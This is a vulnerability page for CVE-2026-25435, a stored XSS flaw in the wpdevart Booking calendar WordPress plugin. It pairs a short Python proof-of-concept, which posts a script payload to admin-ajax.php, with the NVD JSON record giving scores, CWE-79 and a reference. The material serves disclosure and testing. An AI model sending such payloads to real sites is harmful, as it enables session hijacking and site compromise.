CVE-2026-25435

import requests # Proof of Concept for CVE-2026-25435 # This script demonstrates how a malicious payload can be sent to the vulnerable plugin. target_url = "http://example.com/wp-admin/admin-ajax.php" # The malicious payload attempts to execute JavaScript in the victim's browser payload_data = { "action": "booking_calendar_action", "booking_form_data": "<script>alert('CVE-2026-25435 XSS');</script>" } try: response = requests.post(target_url, data=payload_data) if response.status_code == 200: print("[+] Payload sent successfully. Check the admin panel for execution.") else: print("[-] Request failed with status code:", response.status_code) except Exception as e: print("[-] An error occurred:", str(e))

{"cve": {"id": "CVE-2026-25435", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:50.730", "lastModified": "2026-04-24T16:35:20.070", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in wpdevart Booking calendar, Appointment Booking System booking-calendar allows Stored XSS.This issue affects Booking calendar, Appointment Booking System: from n/a through <= 3.2.36."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en wpdevart Booking calendar, Appointment Booking System booking-calendar permite XSS Almacenado. Este problema afecta a Booking calendar, Appointment Booking System: desde n/a hasta &lt;= 3.2.36."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/booking-calendar/vulnerability/wordpress-booking-calendar-appointment-booking-system-plugin-3-2-35-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}